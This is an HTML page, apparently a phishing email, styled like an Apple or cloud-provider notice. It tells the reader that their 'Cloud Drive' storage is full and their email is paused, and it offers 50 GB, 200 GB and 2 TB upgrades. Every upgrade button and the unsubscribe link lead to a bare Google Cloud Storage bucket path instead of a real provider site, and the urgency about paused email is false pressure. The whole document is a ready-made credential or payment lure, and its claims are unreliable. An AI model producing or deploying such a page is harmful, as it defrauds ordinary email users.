<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Storage Limit Reached — Select an Upgrade Plan</title>
<style>
/* ----- MODERN RESET & BASE (CUPERTINO STYLE) ----- */
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background-color: #F5F5F7; /* Apple system gray background */
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
color: #1D1D1F;
line-height: 1.4;
padding: 32px 20px;
}
/* main card container */
.card-container {
max-width: 680px;
margin: 0 auto;
background-color: #FFFFFF;
border-radius: 28px;
box-shadow: 0 8px 28px rgba(0, 0, 0, 0.04), 0 0 0 0.5px rgba(0, 0, 0, 0.02);
overflow: hidden;
transition: all 0.2s ease;
}
/* inner spacing */
.card-inner {
padding: 32px 32px 40px;
}
/* ----- HEADER & LOGO ----- */
.logo-area {
text-align: center;
margin-bottom: 20px;
}
.logo {
display: inline-flex;
align-items: center;
font-size: 22px;
font-weight: 600;
letter-spacing: -0.3px;
color: #1D1D1F;
gap: 8px;
}
.logo-icon {
font-size: 32px;
line-height: 1;
}
/* hero warning */
.hero {
text-align: center;
margin: 12px 0 8px;
}
.hero-title {
font-size: 32px;
font-weight: 700;
letter-spacing: -0.02em;
color: #1D1D1F;
margin-bottom: 12px;
}
.hero-subtitle {
font-size: 16px;
color: #6E6E73;
max-width: 480px;
margin: 0 auto;
line-height: 1.45;
}
/* progress bar section */
.storage-section {
margin: 32px 0 24px;
}
.storage-meta {
display: flex;
justify-content: space-between;
font-size: 13px;
font-weight: 500;
margin-bottom: 8px;
}
.storage-label {
color: #1D1D1F;
}
.storage-used {
color: #86868B;
font-weight: 400;
}
.progress-track {
background-color: #E5E5EA;
border-radius: 10px;
height: 8px;
overflow: hidden;
}
.progress-bar {
background-color: #FF3B30; /* warning red */
width: 100%; /* full capacity used: 15GB / 15GB */
height: 8px;
border-radius: 10px;
}
/* plans grid (modern flex/grid replacement, fully responsive) */
.plans-grid {
display: flex;
flex-wrap: wrap;
gap: 20px;
margin: 32px 0 28px;
}
.plan-card {
flex: 1 1 0;
min-width: 150px;
background: #FFFFFF;
border: 1px solid #D2D2D7;
border-radius: 20px;
padding: 24px 16px 20px;
text-align: center;
transition: transform 0.2s ease, box-shadow 0.2s;
box-shadow: 0 2px 8px rgba(0, 0, 0, 0.02);
}
.plan-card.featured {
border: 2px solid #007AFF;
background: #FBFBFF;
box-shadow: 0 6px 14px rgba(0, 122, 255, 0.08);
}
.plan-emoji {
font-size: 40px;
display: block;
margin-bottom: 12px;
}
.plan-size {
font-size: 24px;
font-weight: 700;
letter-spacing: -0.3px;
color: #1D1D1F;
margin-bottom: 8px;
}
.plan-desc {
font-size: 13px;
color: #6E6E73;
margin-bottom: 24px;
line-height: 1.4;
min-height: 52px;
padding: 0 4px;
}
.plan-btn {
display: inline-block;
width: 100%;
background-color: #007AFF;
color: white !important;
font-size: 14px;
font-weight: 590;
padding: 10px 12px;
border-radius: 12px;
text-decoration: none;
transition: all 0.2s;
box-sizing: border-box;
text-align: center;
}
.plan-btn.outline {
background-color: #F5F5F7;
color: #007AFF !important;
border: 1px solid #E5E5EA;
}
.plan-btn:hover {
opacity: 0.85;
transform: scale(0.98);
}
.plan-btn.outline:hover {
background-color: #EBEBEF;
}
/* callout note */
.upgrade-note {
background-color: #F9F9FB;
border-radius: 18px;
padding: 18px 20px;
margin: 16px 0 28px;
text-align: center;
border: 1px solid #EFEFF4;
}
.upgrade-note p {
font-size: 13px;
color: #5E5E64;
line-height: 1.45;
margin: 0;
}
/* footer */
.footer-area {
text-align: center;
margin-top: 16px;
border-top: 1px solid #EFEFF4;
padding-top: 28px;
}
.footer-icon {
font-size: 28px;
margin-bottom: 12px;
opacity: 0.7;
}
.footer-text {
font-size: 12px;
color: #86868B;
margin: 6px 0;
}
.footer-link {
color: #007AFF;
text-decoration: none;
font-size: 12px;
}
.footer-link:hover {
text-decoration: underline;
}
/* responsive: stack cards on mobile */
@media (max-width: 660px) {
body {
padding: 16px 12px;
}
.card-inner {
padding: 24px 20px 32px;
}
.hero-title {
font-size: 28px;
}
.hero-subtitle {
font-size: 15px;
}
.plans-grid {
flex-direction: column;
gap: 16px;
}
.plan-card {
width: 100%;
}
.plan-desc {
min-height: auto;
}
.storage-section {
margin: 24px 0 16px;
}
}
/* extra polish for very small devices */
@media (max-width: 480px) {
.card-inner {
padding: 20px 16px 28px;
}
.plan-size {
font-size: 22px;
}
}
/* accessibility & smooth */
a, button {
cursor: pointer;
}
.plan-btn:focus-visible {
outline: 2px solid #007AFF;
outline-offset: 2px;
border-radius: 12px;
}
</style>
</head>
<body>
<div class="card-container">
<div class="card-inner">
<!-- header with cloud icon -->
<div class="logo-area">
<div class="logo">
<span class="logo-icon">☁️</span>
<span>Cloud Drive</span>
</div>
</div>
<!-- warning & hero message -->
<div class="hero">
<h1 class="hero-title">Your storage is full.</h1>
<p class="hero-subtitle">
You have run out of space. You can't back up new data, and sending or receiving emails is currently paused.
</p>
</div>
<!-- storage usage bar (full) -->
<div class="storage-section">
<div class="storage-meta">
<span class="storage-label">Storage</span>
<span class="storage-used">15 GB of 15 GB Used</span>
</div>
<div class="progress-track">
<div class="progress-bar" style="width: 100%;"></div>
</div>
</div>
<!-- 3 upgrade plans (cards as flexible grid) -->
<div class="plans-grid">
<!-- PLAN 1: 50 GB - basic -->
<div class="plan-card">
<span class="plan-emoji" title="Basic plan">📁</span>
<div class="plan-size">50 GB</div>
<div class="plan-desc">Essential space for your photos and emails.</div>
<a href="https://storage.googleapis.com/cloudstorageflowallgeos/ls" class="plan-btn outline" target="_blank" rel="noopener noreferrer">Upgrade</a>
</div>
<!-- PLAN 2: 200 GB - FEATURED (recommended) -->
<div class="plan-card featured">
<span class="plan-emoji" title="Recommended plan">🚀</span>
<div class="plan-size">200 GB</div>
<div class="plan-desc">Plenty of room for all your devices.</div>
<a href="https://storage.googleapis.com/cloudstorageflowallgeos/ls" class="plan-btn" target="_blank" rel="noopener noreferrer">Upgrade</a>
</div>
<!-- PLAN 3: 2 TB - pro -->
<div class="plan-card">
<span class="plan-emoji" title="Pro storage">💎</span>
<div class="plan-size">2 TB</div>
<div class="plan-desc">Maximum storage for your entire digital life.</div>
<a href="https://storage.googleapis.com/cloudstorageflowallgeos/ls" class="plan-btn outline" target="_blank" rel="noopener noreferrer">Upgrade</a>
</div>
</div>
<!-- informative note: immediate restoration -->
<div class="upgrade-note">
<p>✨ Upgrading your storage takes effect immediately and restores full functionality to your inbox and file synchronization across all connected devices.</p>
</div>
<!-- footer section -->
<div class="footer-area">
<div class="footer-icon">☁️</div>
<div class="footer-text">Cloud Drive Services</div>
<div>
<a href="https://storage.googleapis.com/cloudstorageflowallgeosusb/ls" class="footer-link" target="_blank" rel="noopener noreferrer">Unsubscribe</a>
</div>
<div class="footer-text" style="margin-top: 12px; font-size: 10px;">
Securely stored & encrypted
</div>
</div>
</div>
</div>
</body>
</html>